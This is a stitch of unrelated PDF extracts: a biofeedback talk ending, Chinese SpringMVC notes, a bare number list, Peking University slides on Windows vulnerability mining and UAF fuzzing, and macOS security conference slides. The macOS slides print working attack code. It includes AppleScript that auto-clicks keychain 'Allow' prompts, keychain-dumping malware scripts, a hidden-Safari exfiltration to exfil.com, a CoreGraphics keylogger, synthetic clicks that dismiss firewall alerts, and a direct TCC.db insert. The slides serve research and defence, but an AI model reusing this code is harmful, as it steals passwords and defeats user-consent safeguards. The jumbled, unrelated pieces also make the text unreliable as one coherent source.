average weight and WHO MUST BE WILLING TO TAKE
THEIR SHIRT OFF (no pacemakers allowed)
- Put electrodes on and hook up the person to the
ECG program
- Get volunteer to play game while awkwardly hooked up
to the electrodes
- WE ARE NOT RESPONSIBLE FOR INJURY, DEATH,
OR DISMEMBERMENT! USE OUR CIRCUITRY AT
YOUR OWN RISK!
Thanks!
Ne0nRa1n & Kingpin
http://www.umm.edu/altmed/articles/biofeedback-000349.htm
http://www.thorsonhealth.com/whatsnew.php
http://www.thetruthaboutfoodandhealth.com/biofeedbackdevices.html
http://psychotherapy.com/bio.html
http://www.wilddivine.com/WildDivineAboutBiofeedback/
http://findarticles.com/p/articles/mi_hb4345/is_200603/ai_n18813051
http://www.rps.psu.edu/0009/heart.html
http://my.clevelandclinic.org/heart/prevention/exercise/pulsethr.aspx
http://www.athealth.com/Practitioner/particles/Guest_CoopersteinMA.html
http://www.pbs.org/wnet/brain/history/index.html
http://www.fitsugar.com/172776
http://www.toolsforwellness.com/biofeedback.html | pdf |
Spring Part 2 SpringMVC
审了⼀些Spring的项⽬,还是打算以开发的⻆度从头看⼀下,Spring第⼀部分之前发过⼀遍,这
次打做⼀个补全。跟着B站的视频看的,迷迷糊糊视频快进看了⼀个⼩时,感觉东⻄也不多.....其
实直接上代码看别⼈怎么写的更有效率⼀点233333333
Part3 感觉看下源码分析⽐较好,额,好像springboot也要简单过下,虽然审过了,但是查漏补
缺嘛~
《Spring Part 1 四天学习总结》
https://mp.weixin.qq.com/s/Qqu11XiZkWchhQ15y0J0_A
⼀、SpringMVC 的基本概念
1. 三层架构
表现层、业务层、持久层
2.MVC
MVC 全名是 Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩
写, 是⼀种⽤于设计创建 Web 应⽤程序表现层的模式。
3.SpringMVC
SpringMVC 是⼀种基于 Java 的实现 MVC 设计模型的请求驱动类型的轻量级 Web 框架,属于
Spring FrameWork 的后续产品,已经融合在 Spring Web Flow ⾥⾯。Spring 框架提供了构建
Web 应⽤程序的全功能 MVC 模块。使⽤ Spring 可插⼊的 MVC 架构,从⽽在使⽤ Spring
进⾏ WEB 开发时,可以选择使⽤ Spring 的 Spring MVC 框架或集成其他 MVC 开发框架,如
Struts1(现在⼀般不⽤),Struts2 等。
SpringMVC 已经成为⽬前最主流的 MVC 框架之⼀,并且随着 Spring3.0 的发布,全⾯超
越 Struts2,成为最优秀的 MVC 框架。它通过⼀套注解,让⼀个简单的 Java 类成为处理请求
的控制器,⽽⽆须实现任何接⼝。同时它还⽀持RESTful 编程⻛格的请求。
4.SpringMVC优势
1、清晰的⻆⾊划分:
前端控制器(DispatcherServlet) 请求到处理器映射(HandlerMapping) 处理器适配器
(HandlerAdapter)
视图解析器(ViewResolver)
处理器或⻚⾯控制器(Controller) 验证器( Validator)
命令对象(Command 请求参数绑定到的对象就叫命令对象)
表单对象(Form Object 提供给表单展示和提交到的对象就叫表单对象)。
2、分⼯明确,⽽且扩展点相当灵活,可以很容易扩展,虽然⼏乎不需要。
3、由于命令对象就是⼀个 POJO,⽆需继承框架特定 API,可以使⽤命令对象直接作为业务对
象。
4、和 Spring 其他框架⽆缝集成,是其它 Web 框架所不具备的。
5、可适配,通过 HandlerAdapter 可以⽀持任意的类作为处理器。
6、可定制性,HandlerMapping、ViewResolver 等能够⾮常简单的定制。
7、功能强⼤的数据验证、格式化、绑定机制。
8、利⽤ Spring 提供的 Mock 对象能够⾮常简单的进⾏ Web 层单元测试。
9、本地化、主题的解析的⽀持,使我们更容易进⾏国际化和主题的切换。
10、强⼤的 JSP 标签库,使 JSP 编写更容易。
………………还有⽐如RESTful ⻛格的⽀持、简单的⽂件上传、约定⼤于配置的契约式编程
⽀持、基于注解的零配置⽀持等等。
5.SpringMVC与Strusts2对⽐
共同点:
它们都是表现层框架,都是基于 MVC 模型编写的。它们的底层都离不开原始 ServletAPI。
它们处理请求的机制都是⼀个核⼼控制器。
区别:
Spring MVC 的⼊⼝是 Servlet, ⽽ Struts2 是 Filter
Spring MVC 是基于⽅法设计的,⽽ Struts2 是基于类,Struts2 每次执⾏都会创建⼀个动
作类。所以 Spring MVC 会稍微⽐ Struts2 快些。
Spring MVC 使⽤更加简洁,同时还⽀持 JSR303, 处理 ajax 的请求更⽅便
(JSR303 是⼀套 JavaBean 参数校验的标准,它定义了很多常⽤的校验注解,我们可以直
接将这些注解加在我们 JavaBean 的属性上⾯,就可以在需要校验的时候进⾏校验了。)
Struts2 的 OGNL 表达式使⻚⾯的开发效率相⽐ Spring MVC 更⾼些,但执⾏效率并没有
⽐ JSTL 提升,尤其是 struts2 的表单标签,远没有 html 执⾏效率⾼。
⼆、SpringMVC的请求相应流程
1、服务器启动,应⽤被加载。读取到 web.xml 中的配置创建 spring 容器并且初始化容器中的
对象。
2、浏览器发送请求,被 DispatherServlet 捕获,该 Servlet 并不处理请求,⽽是把请求转发出
去。转发的路径是根据请求 URL,匹配@RequestMapping 中的内容。
3、匹配到了后,执⾏对应⽅法。该⽅法有⼀个返回值。
4、根据⽅法的返回值,借助 InternalResourceViewResolver 找到对应的结果视图。
5、渲染结果视图,响应浏览器。
三、⼀些类的简单理解
1.DispatcherServlet:前端控制器
⽤户请求到达前端控制器,它就相当于 mvc 模式中的 c,dispatcherServlet 是整个流程控制的
中⼼,由它调⽤其它组件处理⽤户的请求,dispatcherServlet 的存在降低了组件之间的耦合
性。
2.HandlerMapping:处理器映射器
HandlerMapping 负责根据⽤户请求找到 Handler 即处理器,SpringMVC 提供了不同的映射器
实现不同的映射⽅式,例如:配置⽂件⽅式,实现接⼝⽅式,注解⽅式等。
3.Handler:处理器
开发中要编写的具体业务控制器。由 DispatcherServlet 把用户请求转发到 Handler。由
Handler 对具体的用户请求进行处理。
4.HandlAdapter:处理器适配器
通过 HandlerAdapter 对处理器进⾏执⾏,这是适配器模式的应⽤,通过扩展适配器可以对更多
类型的处理器进⾏执⾏。
5.View Resolver:视图解析器
View Resolver 负责将处理结果⽣成 View 视图,View Resolver ⾸先根据逻辑视图名解析成物
理视图名即具体的⻚⾯地址,再⽣成 View 视图对象,最后对 View 进⾏渲染将处理结果通过⻚
⾯展示给⽤户。
6.View:视图
SpringMVC 框架提供了很多的 View 视图类型的⽀持,包括:jstlView、freemarkerView、
pdfView 等。我们最常⽤的视图就是 jsp。⼀般情况下需要通过⻚⾯标签或⻚⾯模版技术将模型
数据通过⻚⾯展示给⽤户,需要由程序员根据业务需求开发具体的⻚⾯。 | pdf |
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112 | pdf |
1
软件安全漏洞挖掘
技术探讨
文伟平 博士
北京大学软件与微电子学院
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
漏洞挖掘技术难点
漏洞挖掘本身的难度
函数模型(Windows 7之前系统)
逻辑模型
安全开发平台
云计算
虚拟化
系统安全对抗
Windows 7,8系统安全防护机制
IE 的Use after Free
GS,SafeSEH,DEP和ASLR
ROP,Heap Spray,JIT Spray
SharedUserData
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
漏洞挖掘和利用的技术难点
Windows8内存保护
传统内存保护
堆内存保护
GS
SEHProtect
ASLR
DEP
Randomized LFH
PageGuard
VTGuard
FreeEntryOffset
Removed
Anti-ROP
其他内存保护
NullPage
Protection
VirtualAlloc
Randomization
GS↑
SEH
Protect
ASLR↑
DEP↑
ForceASLR
HeASLR
Anti-ROP
Windows 8
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
软件漏洞挖掘相关技术
基于Crash信息的漏洞挖掘技术
参考安全补丁的漏洞挖掘技术
系统内核函数无序调用挖掘技术
基于协议握手的测试漏洞挖掘技术
基于浏览器对象UAF漏洞挖掘技术
基于FLASH对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
系统转储文件
基于Crash信息的漏洞挖掘技术
完全内存转
储
核心内存转
储
小内存转储
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
KTRAP_FRAME陷阱帧
基于Crash信息的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
定位函数
基于Crash信息的漏洞挖掘技术
最后执行的函数为win32k!SfnINSTRING,接
下来应该利用IDA工具分析该函数的反汇编代码,判
断是否存在逻辑缺陷,判断是否可以进一步利用。
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
静态分析相关代码,确定原因
基于Crash信息的漏洞挖掘技术
win32k!SfnINSTRIN
G函数执行过程中,对用户
态空间传递过来的wParam、
lParam没有做任何判断,
复制[esi+8]处的数据时,
也没有限制[esi+8]是内核
地址还是用户态地址。如
果esi、[esi+8]是一个不可
访问的内存地址,那么将
会导致无法访问内存而蓝
屏崩溃。
MS11-054发现过程
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
由补丁引发的思考
通常安全补丁对漏洞代码的修
改及代码运行流程基本不会有太大
的变化。而这种漏洞修补方式可能
存在如下安全隐患:
1) 软件厂商修补漏洞缺乏全局
考虑, 通常只注重对漏洞点的修补;
2) 往往只考虑当前漏洞的上下
文环境, 而未必考虑到整个系统或者
第三方代码对全局变量或逻辑条件
带来的影响。
参考安全补丁的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
参考安全补丁比对的漏洞挖掘思路
软件安全补丁面临安全隐患
分析补丁,找出补丁所
修补的代码位置以及实
际出现问题的代码位置
路径查找、条件执行、符
号执行,判断代码内部是
否存在新的安全漏洞
1、路径查找会找到所有可
能的执行路径
2、条件执行会尝试执行这
些路径,以判断当前路径是
否是实际可执行的
3、符号执行通过代码变量
的逻辑抽象与控制流相结合
得到条件约束,最后通过约
束求解的方法,来判断代码
内部是否存在安全漏洞。
参考安全补丁的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
以某漏洞为例验证参考安
全补丁漏洞挖掘技术的有效性:
专门为针对这个补丁而增设的标
志位VdmSafe。漏洞点B及补丁点
P已经定位。
通过分析可知,该补丁可能存
在新的安全隐患,补丁后攻击代码
实现攻击流程如右图所示:
参考安全补丁技术应用
参考安全补丁的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
北 京 大 学 软 件 安 全 研 究 小 组 发 现 的
MS11-010进一步证明了参考安全补丁技术
的有效性。
该漏洞是在分析MS10-011安全补丁的基
础上,采用本方法发现的一个安全漏洞。
MS10-011补丁为以下情况:B点和P点
位于不同的函数中,补丁增加了运行至B点
的逻辑条件,而这个逻辑条件是普通用户构
造某些函数进行特定序列调用可以进行修改
的,从而逻辑条件被恶意利用导致新的安全
隐患。
参考安全补丁技术应用
P点: 补丁所修补的代码位置
B点: 实际出现问题的代码位置
B点和P点位于不同的基本块中,
且B点和P点分布在不同函数中。
这种安全漏洞修补方式,最有可
能存在安全隐患。
参考安全补丁的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
系统内核漏洞
随着Windows 7 / 8 操作系统发布,多种对抗内存攻击
的安全防护机制使得传统的基于内存的攻击越来越困难,在这
种情况下,内核漏洞往往可以作为突破安全防线的切入点。
Windows内核模块,如win32k.sys等
第三方驱动程序
安全软件对SSDT、ShadowSSDT的处理
系统内核函数无序调用挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
API序列的乱序组合
一个正常功能的实现依赖一组API调用序列
任意改变这组序列,会有意想不到的结果
序列中的函数多次调用
调用顺序改变
特定的条件或参数
序列中的API一般情况下是Undocumented API
系统内核函数无序调用挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
API乱序组合绕过MS10-011
关闭ApiPort时,系统将会向Csrss发送一个类型为
LPC_PORT_CLOSED(0x5)的消息。在CsrApiRequestThread函数
中处理该类型消息有代码如下
若走过这段流程,足以让我们绕过补丁了!
系统内核函数无序调用挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
连接ApiPort,置标识为1
调用BaseSrvExitProcess函数
标识为1,引用计数为1
关闭ApiPort,置标识为0
连接ApiPort,置标识为1
关闭ApiPort,置标识为0
调用BaseSrvExitProcess函数
标识为0,引用计数为0
成功脱链!
系统内核函数无序调用挖掘技术
API乱序组合绕过MS10-011补丁
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
非开源网络软件漏洞挖掘
非开源网络软件漏洞挖掘的“公理”——协议Fuzzing测试
测试空间极大
基于协议握手的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
共识:对测试用例进行裁剪
网络应用程序的潜在漏洞往往存在于对发送 / 接收的网
络数据包进行处理的过程,进行Fuzzing测试时, 如果不考
虑到这个特性就盲目构造针对操作和函数调用的测试用例,
是南辕北辙的行为, 不可能获得良好效果。
容易发现的一点是, 网络软件在进行数据处理时的网络状
态不大可能是发送的第一个包,通常都是通信双方进行多
次请求响应后的状态。
在这个思路的指引下,我们就要模拟其网络通信流程, 构
造合适的网络数据包作为测试用例。
基于二进制的软件逆向分析
基于协议握手的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
获取该用户名下股票
的数目,并为每支股
票分配一块空间读取
股票详细信息
基于协议握手的漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
原因
基于浏览器对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
Fuzzing Framework
Grinder
Fuzzer:
Cross Fuzz
ndujaFuzz
NodeFuzz
jsFunFuzz
以及安全研究人员自己实现的各种Fuzzer
............
目前比较有效的Fuzz工具
基于浏览器对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
三步曲
UAF漏洞到底该怎么挖?
基于浏览器对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
阅读w3c等官
方文档,构建
字典。
实现一个Browser Fuzzer?
基于浏览器对象UAF漏洞挖掘技术
建立最基础的
dom树结构
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
从已有的测试样本构
建dom树
实现一个Browser Fuzzer?
基于浏览器对象UAF漏洞挖掘技术
Base Dom Tree Building
randomNodes
randomTree
Generation algorithm
document.createElement
node.appendChild
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
实现一个Browser Fuzzer?
基于浏览器对象UAF漏洞挖掘技术
构建跨引擎dom树
IE里处理js有两个引擎,jscript.dll和jscript9.dll,通过上述
代码,使IE在处理特定的js脚本使使用较老的jscript.dll来解
析,并将所有生成的dom节点返回到新的jscript9.dll引擎继
续后续的fuzz。
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
实现一个Browser Fuzzer?
基于浏览器对象UAF漏洞挖掘技术
为Dom树节点添加事件处理回调。
DomEventList 字典:
"DOMContentLoaded","msvisibilitychange","abort","ac
tivate","afterprint“…
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
实现一个Browser Fuzzer?
基于浏览器对象UAF漏洞挖掘技术
将dom树随机一些节点生成elementRange,供后续fuzz使用
生成elementRange的作用在于它会保存一份节点的引用,若
Range中的节点在回调中被销毁,则存在触发UAF的可能。
回调函数的构造:回调函数是整个fuzz工具中最重要的一部分
,是否能有效的打乱dom关系树,是否能有效的使元素释放
重用以及fuzz工具的效率都和回调函数的构造相关,后面fuzz
部分的功能都是在回调函数中实现的。
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
基于FLASH对象UAF漏洞挖掘技术
FLASH 对象的 UAF 大多出在 domainMemory 和
共享内存上。
ActionScript 3 为了提高swf的处理效率,新增了一
个在主线程和工作线程共享对象的特性。
当主线程(main thread)和工作线程(worker thread)
之间的共享对象引用出现不同步的情况,就可能出现
UAF漏洞。
FLASH对象中UAF
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
CVE-2015-0311
ByteArray 对 象 的 Uncompress 操 作 中 未 实 现
domainMemory中相应对象引用的修改。导致对
象在解压过程中因意外导致执行失败释放空间后,
domainMemory中仍存在对ByteArray数据段的
引用。
CVE-2015-0313
子线程worker中对于ByteArray的Clear操作并未
通知domainMemory,导致domainMemory中仍
存在对已释放内存块的引用。
最近的典型案例(domainMemory 的 UAF)
基于FLASH对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
ByteArray对象结构
m_buffer指向实际数据对象
m_subscribers指向引用该
对象的数据链表
当ByteArray进行拷贝构造时,若ByteArray为可共享
的,则拷贝构造函数直接引用原来的数据对象
m_buffer,但忽略了对m_subscibers成员的拷贝。从
而导致某些函数在对拷贝对象的m_buffer数据进行
free/alloc操作时,忽略了某些引用指针,造成UAF。
原因
基于FLASH对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
reference:http://help.adobe.com/en_US/as3/dev/WS2f73111e7a180bd0-5856a8af1390d64d08c-7ffe.html
Flash自身支持三种线程间共享方式
Worker Shared properties
MessageChanel
Shareable ByteArray
其中只有Shareable ByteArray 是以共享内存的形式
在线程间同步的。
Flash 线程同步机制
基于FLASH对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
在多线程ActionScript3代码里设置共享对象
http://help.adobe.com/en_US/as3/dev/WS2f7
3111e7a180bd0-5856a8af1390d64d08c-
7ffe.html
FLASH UAF 挖掘
基于FLASH对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
function demo_fuzz(obj:Object):void
{//here you can operate on the object any way you want.
obj.clear();
obj = null;
obj.someproperty = "what ever you want"
........
}
shareobj =
Worker.current.getSharedProperty("sharedPropertyNa
me");
demo_fuzz(shareobj);
操作共享对象
基于FLASH对象UAF漏洞挖掘技术
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
添加事件回调
在页面对象上设置事件回调
回调类型
NETWORK_CHANGE,PASTE,REMOVED,RENDER,
LOCATION_CHANGE, HTML_DOM_INITIALIZE,
HTML_BOUNDS_CHANGE ......
example:
SharedObj.addEventListener(Event.ADDED, fuzzfunc);
SharedObj.addEventListener(Event.ADDED_TO_STAGE, fuzzfunc);
SharedObj.addEventListener(Event.REMOVED, fuzzfunc);
SharedObj.addEventListener(Event.REMOVED_FROM_STAGE,fu
zzfunc);
.......................
添加事件回调
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
北京大学软件安全研究小组隶属于北京大学网络与软件安全
保障教育部重点实验室、北京大学软件与微电子学院和北京大学软
件研究所信息安全实验室,成员均为北京大学软件与微电子学院信
息安全系和信息安全实验室的研究生,小组指导老师由北京大学软
件与微电子学院、中国科学院软件研究所及北京邮电大学的专家和
老师组成,主要研究方向包括逆向工程、软件安全漏洞挖掘、软件
安全漏洞分析、恶意代码及软件安全评估,目前已发表了软件安全
研究方向论文四十余篇,并开发了多个用于软件安全研究实践的辅
助工具。
小组主页:http://www.pku-exploit.com/
小组概况
北京大学软件安全研究小组简介
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
发现Windows操作系统漏洞5个
已公开漏洞3个;
MS11-010 (CVE编号:CVE2011-0030)
MS11-054 (CVE编号:CVE2011-1886)
未公开漏洞3个,其中
本地拒绝服务2个
本地权限提升1个
操作系统漏洞
漏洞发现成果
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
应用软件安全漏洞30个
已公开漏洞
某安全产品K驱动中1个任意内核地址写入漏洞,9个拒绝服务
攻击漏洞;
某安全产品Q驱动中6个任意内核地址写入漏洞;
某安全产品T安全沙箱驱动6个任意内核地址写入漏洞。
未公开漏洞
网络电话软件漏洞1个;
其他应用软件漏洞7个。
其它漏洞发现
漏洞发现情况
小组主页:www.pku-exploit.com
联 系 Q Q:513357938
38
报告完毕
谢谢! | pdf |
digita security
The Mouse
is mightier than the sword
WHOIS
cybersecurity solutions for the macOS enterprise
@patrickwardle
synack
digita
nsa
nasa
Outline
the targets
(past) attacks
mitigations
full bypass
weaponization
digita security
THE TARGETS
'tempting' UI components
The Attacker's Conundrum
keychain
kexts
keylogger
firewalls
}
alert!
many 'useful' actions (e.g. accessing the keychain, loading
a kext, etc.) now generate an alert that (ideally) the user
must explicitly interact with. #security
The Goal
avoid all together
dismiss (via code)
for
alerts:
$ ./dumpKeychain
of course, Apple tries to
prevent both these scenarios!
...more on this shortly ;)
//query keychain logic
...
//bypass
// pseudo-code
if(accessAlertWindow)
{
sendClick();
}
dismiss alert via code?!
"
"
The Targets
the macOS keychain
$ /usr/bin/security dump-keychain -d login.keychain
keychain: "~/Library/Keychains/login.keychain-db"
class: "genp"
attributes:
0x00000007 <blob>="GitHub - https://api.github.com"
data:
"7257b03422bbab65f0e7d22be57c0b944a0ae45d9e"
private keys
passwords
certificates
autofill data
dumping keys
}
auth tokens
Keychain Access.app
app data
access alerts (UI)
as normal user!
hunter2
The Targets
'Security & Privacy' › 'Accessibility'
"Apps with access to the accessibility API are allowed to manipulate the UIs of other
applications. This gives them the ability to inject events into other processes, and allows
them do pretty much anything you can. They can also log all your keystrokes." -superuser.com
UI events & manipulations
keylogging!
Accessibility Pane
}
The Targets
"User-Approved Kernel Extension Loading"
"I got 99 Problems, but Little Snitch
ain’t one!" -Wardle/DefCon '16
"macOS High Sierra introduces a new feature
that requires user approval before loading
new third-party kernel extensions" -apple.com
Technical Note TN2459:
"User-Approved Kext Loading"
-apple.com
approval required
"
"
The Targets
Security Alerts/(3rd-party)Tools
$ nc -l 1337
macOS firewall alert
blockblock alert
ransomwhere? alert
Allow"
"
digita security
(PAST) ATTACKS
alerts & prompts; hackers vs. apple
The Attacks
alerts:
attack vectors
applescript
coregraphics
UI 'bypass'
???
avoid all together || dismiss (via code)
AppleScript
"AppleScript is primarily an inter-application processing system, designed
to exchange data between and control other applications" -wikipedia.com
in context of remote process!
$ cat evil.scpt
do shell script "say hi"
with administrator privileges
$ osascript evil.scpt
trusted
auth prompt?
clicks
//firewall bypass
tell application "Safari"
run
tell application "Finder"
to set visible of process "Safari" to false
make new document
set the URL of document 1 to
"https://exfil.com?data=blah"
end tell
actions
=
or
}
automated keychain access
AppleScript
commands
//keychain bypass
// note: only works on older version of macOS
tell application "System Events"
repeat while exists (processes where name is "SecurityAgent")
tell process "SecurityAgent"
click button "Allow" of group 1 of window 1
end tell
delay 0.2
end repeat
end tell
keychain access
prompt
clicking 'Allow' via AppleScript
$ security dump-keychain ...
class: "genp"
attributes:
...
"acct"<blob>="patrickwardle"
"svce"<blob>="www.bankofamerica.com"
password: "hunter2"
passwords!
Allow "
"
kd.sh
automated keychain access (OSX.DevilRobber)
AppleScript
sub_26FA proc near
push ebp
mov ebp, esp
sub esp, 18h
mov [esp+18h+var_18], "./kc_dump.sh"
call _system$UNIX2003
$ cat kc_dump.sh
#!/bin/sh
./kd.sh &
for i in {1..300}
do
osascript kcd.scpt
done
$ cat kd.sh
#!/bin/sh
security dump-keychain -d > s_dump.txt
OSX/DevilRobber
kc_dump.sh
kcd.scpt
thanks @noarfromspace :)
Always Allow"
"
CoreGraphics APIs
"Core Graphics...includes services for working with display hardware, low-
level user input events, and the windowing system" -apple
'A'
'A'
'A'
'sniffMK'
github.com/objective-see/sniffMK
//install & enable CG "event tap"
eventMask = CGEventMaskBit(kCGEventKeyDown)
| CGEventMaskBit(kCGEventKeyUp);
CGEventTapCreate(kCGSessionEventTap,
kCGHeadInsertEventTap, 0, eventMask,
eventCallback, NULL);
CGEventTapEnable(eventTap, true);
sniffing keys via 'core graphics'
core graphics keylogger
CoreGraphics APIs
Allow
post synthetic keyboard & mouse events!
core graphics
"
"
posting a synthetic 'enter' key press
CoreGraphics APIs
#import <CoreGraphics/CoreGraphics.h>
const CGKeyCode ENTER_KEY = (CGKeyCode) 76;
void pressENTER()
{
CGPostKeyboardEvent((CGCharCode)0, ENTER_KEY, true);
CGPostKeyboardEvent((CGCharCode)0, ENTER_KEY, false);
}
synthetically generating an 'enter' keypress
Deny
Allow
perform action
(that triggers alert)
post a synthetic 'enter'
(to dismiss/allow, etc.)
"
"
CoreGraphics APIs
synthetic mouse events (OSX.FruitFly)
int sub_100001c50(int arg0, int arg1)
{
rbx = CGEventCreateMouseEvent(0x0, rcx, rdx, rcx);
CGEventSetIntegerValueField(rbx, 0x1, r12);
CGEventPost(0x1, rbx);
CFRelease(rbx);
}
sub-cmd
description
0
move
1
left click (up & down)
2
left click (up & down)
3
left double click
4
left click (down)
5
left click (up)
6
right click (down)
7
right click (up)
cmd #8
(0,123,456)
# ./sniffMK
event: kCGEventMouseMoved
(x: 123.000000, y: 456.000000)
mouse move (x,y)
OSX/FruitFly's synthetic
mouse capabilities
CoreGraphics APIs
synthetic keyboard events (OSX.FruitFly)
# sniffMK
event: kCGEventKeyDown
keycode: 0x0/'a'
cmd #16, 65
# sniffMK
event: kCGEventKeyUp
keycode: 0x0/'a'
cmd #17, 65
remote typing
keydown:
AXUIElementPostKeyboardEvent(var_290, 0x0, sub_100001980(rax) & 0xffff, 0x1);
goto leave;
keyup:
AXUIElementPostKeyboardEvent(var_290, 0x0, sub_100001980(rax) & 0xffff, 0x0);
goto leave;
invokes CGPostKeyboardEvent
CoreGraphics APIs
synthetic mouse events (OSX/Genieo)
$ jtool -d objc -v Installer.app/Contents/MacOS/AppAS
@interface SafariExtensionInstaller : ?
...
/* 2 - 0x1000376e1 */ + getPopupPosition;
...
/* 4 - 0x100037c53 */ + clickOnInstallButton;
/* 5 - 0x100037d71 */ + clickOnAllowButtonKeychain;
....
/* 8 - 0x100038450 */ + clickOnTrustButton;
char +[SafariExtensionInstaller clickOnInstallButton]{
(@selector(getPopupPosition))(&var_40);
r14 = CGEventCreateMouseEvent(0x0, 0x5, 0x0, rcx);
r15 = CGEventCreateMouseEvent(0x0, 0x1, 0x0, rcx);
rbx = CGEventCreateMouseEvent(0x0, 0x2, 0x0, rcx);
CGEventPost(0x0, r14);
CGEventPost(0x0, r15);
CGEventPost(0x0, rbx);
"
"
genieo installer
extension installation
(safari)
CoreGraphics APIs
synthetic mouse events (pwnsdx/Unsecure)
void doEvent(CGPoint initialMousePosition, CGEventType event) {
CGEventRef currentEvent = CGEventCreateMouseEvent(NULL, event,
CGPointMake(initialMousePosition.x, initialMousePosition.y), kCGMouseButtonLeft);
CGEventPost(kCGHIDEventTap, currentEvent);
}
void clickOnButton(CGPoint initialMousePosition, CGPoint oldLocation) {
doEvent(initialMousePosition, kCGEventLeftMouseDown);
doEvent(initialMousePosition, kCGEventLeftMouseUp);
...
}
int main(int argc, const char * argv[]) {
// Little Flocker bypass
if([kCGWindowOwnerName isEqualToString:@"Little Flocker"] && [kCGWindowLayer intValue] == 2147483631 &&
[kCGWindowIsOnscreen intValue] == 1)
{
clickOnButton(CGPointMake([[kCGWindowBounds valueForKey:@"X"] intValue] + 666,
[[kCGWindowBounds valueForKey:@"Y"] intValue] + 280), oldLocation);
}
// Little Snitch bypass
if([kCGWindowName isEqualToString:@"Little Snitch"] &&
[kCGWindowOwnerName isEqualToString:@"Little Snitch Agent"] &&
[kCGWindowLayer intValue] == 1490 && [kCGWindowIsOnscreen intValue] == 1)
{
clickOnButton(CGPointMake([[kCGWindowBounds valueForKey:@"X"] intValue] + 587,
[[kCGWindowBounds valueForKey:@"Y"] intValue] + 340), oldLocation);
}
https://github.com/pwnsdx/Unsecure
Allow
"
"
AV products
firewalls
UI 'bypass'
(as we'll see) many UI interfaces are now protected by Apple. However, if
one can bypass the UI (i.e. direct file i/o) - no alert will be shown?
trusted applications
‣ browser
‣ chat client
‣ email client
add
‣ browser
‣ chat client
‣ email client
‣ hacker tool
add 'hacker tool'
"
"
‣ hacker tool
04/2015
UI 'bypass'
enabling 'assistive access' for keylogging (OSX.XSLCmd)
reverse shell
screen capture
keylogging
"a previously unknown variant of the APT backdoor XSLCmd which is designed
to compromise Apple OS X systems" -fireeye (09/2014)
how can OSX/XSLCmd
keylog without root?
rootpipe: os/x bug,
create any file as root!
UI 'bypass'
enabling 'assistive access' for keylogging (OSX.XSLCmd)
r12%=%[Authenticator%sharedAuthenticator];%
rax%=%[SFAuthorization%authorization];%
rax%=%[rax%obtainWithRight:"system.preferences"%flags:0x3%error:0x0];%
[r12%authenticateUsingAuthorizationSync:rbx];%
rbx%=%[NSDictionary%dictionaryWithObject:@(0x124)%forKey:*_NSFilePosixPermissions];%
rax%=%[NSData%dataWithBytes:"a"%length:0x1];%
rax%=%[UserUtilities%createFileWithContents:rax%path:@"/var/db/.AccessibilityAPIEnabled"%attributes:rbx];%
%%%%%%%%%%%%%%%%%%%%%%%%%%%
/var/db/.AccessibilityAPIEnabled
=
enable access (via UI)
OSX/XSLCmd
keyloggging!
"
"
via rootpipe
UI 'bypass'
enabling 'assistive access' for ...? (Dropbox)
"Dropbox didn’t ask for permission to take control of your computer"
- phil stokes
"Revealing Dropbox’s Dirty Little Security Hack"
applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/
where was the
"accessibility" prompt?!
Dropbox Installer
UI 'bypass'
enabling 'assistive access' for ...? (Dropbox)
"Revealing Dropbox’s Dirty Little Security Hack"
applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/
/Library/Application Support/
com.apple.TCC/TCC.db
INSERT INTO access
VALUES('kTCCServiceAccessibility',
'com.getdropbox.dropbox',0,1,0);
}
strings in
'dbaccessperm'
so dropbox is inserting
itself directly into
TCC.db...
UI 'bypass'
enabling 'assistive access' for ...? (Dropbox)
"Revealing Dropbox’s Dirty Little Security Hack"
applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/
